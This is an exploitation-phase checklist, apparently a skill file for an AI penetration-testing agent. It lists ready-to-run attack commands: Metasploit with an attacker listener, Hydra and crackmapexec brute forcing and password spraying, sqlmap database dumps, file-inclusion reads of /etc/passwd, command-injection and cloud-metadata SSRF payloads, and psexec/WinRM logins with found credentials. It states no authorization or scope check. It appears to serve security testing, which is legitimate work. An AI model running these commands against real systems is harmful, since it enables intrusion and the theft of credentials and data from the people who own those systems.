Exploitation

---
name: exploitation-phase
tags: [exploitation]
description: Exploitation phase — exploit confirmed vulns, credential attacks, gain access. Use when the current phase is EXPLOITATION.
---

# Exploitation Checklist

Prioritize: known public exploits > default creds > brute force > manual exploitation.

## PROVE impact — the win condition
A vuln is not "confirmed" until you reproduce concrete impact: `id`/`whoami` (RCE), a dumped canary row/secret (SQLi), file bytes like /etc/passwd (LFI/XXE), cloud creds (SSRF), cross-user data (IDOR), or the required marker. Mark `add_vuln` `suspected` on detection, `confirmed` only WITH that evidence artifact. Detection output ("tool says vulnerable") is a lead, not proof.

## Exploit Search & Preparation
```bash
searchsploit <service> <version>
searchsploit -m <exploit_id>                # mirror exploit locally
msfconsole -q -x "search type:exploit <service>"
```

## Known CVE Exploitation
```bash
# Metasploit
msfconsole -q -x "use <exploit_path>; set RHOSTS <target>; set LHOST <attacker_ip>; run"

# Manual PoC
# Download, review, adapt PoC from searchsploit or GitHub
python3 exploit.py <target> <port>
```

## Credential Attacks
```bash
# SSH brute force
hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4

# Web login brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# SMB credential testing
crackmapexec smb <target> -u users.txt -p passwords.txt

# RDP brute force
hydra -l <user> -P wordlist.txt rdp://<target>

# Credential spraying (one password, many users)
crackmapexec smb <target> -u users.txt -p 'Password1!'
```

## Web Exploitation
```bash
# SQL injection exploitation
sqlmap -u "http://<target>/vuln?id=1" --batch --dbs
sqlmap -u "http://<target>/vuln?id=1" --batch -D <db> --tables
sqlmap -u "http://<target>/vuln?id=1" --batch -D <db> -T <table> --dump

# File inclusion
curl "http://<target>/page?file=../../../etc/passwd"
curl "http://<target>/page?file=php://filter/convert.base64-encode/resource=config.php"

# Command injection
curl "http://<target>/ping?host=;id"
curl "http://<target>/ping?host=$(whoami)"

# SSRF
curl "http://<target>/fetch?url=http://169.254.169.254/latest/meta-data/"
```

## Post-Authentication Access
```bash
# SSH with found credentials
ssh <user>@<target>
sshpass -p '<password>' ssh <user>@<target>

# WinRM
evil-winrm -i <target> -u <user> -p '<password>'

# SMB/PsExec
impacket-psexec <domain>/<user>:'<password>'@<target>
impacket-wmiexec <domain>/<user>:'<password>'@<target>
```

## Evidence Collection
For every successful exploit:
1. Screenshot or copy command + output
2. Record: target, port, CVE/technique, access level gained
3. Update engagement state with access entry

## Phase Completion Criteria
Move to POST_EXPLOIT when:
- All confirmed vulns attempted
- Access gained where possible
- Credentials tested across services
- Access levels documented

## Output Rules
- Always use quiet/filtered output flags. Only show successful results.
- Redirect large output to files. Never paste >50 lines of raw tool output.
- Use parser tools (cme_parse, sqlmap_parse, nuclei_parse) for auto-processing.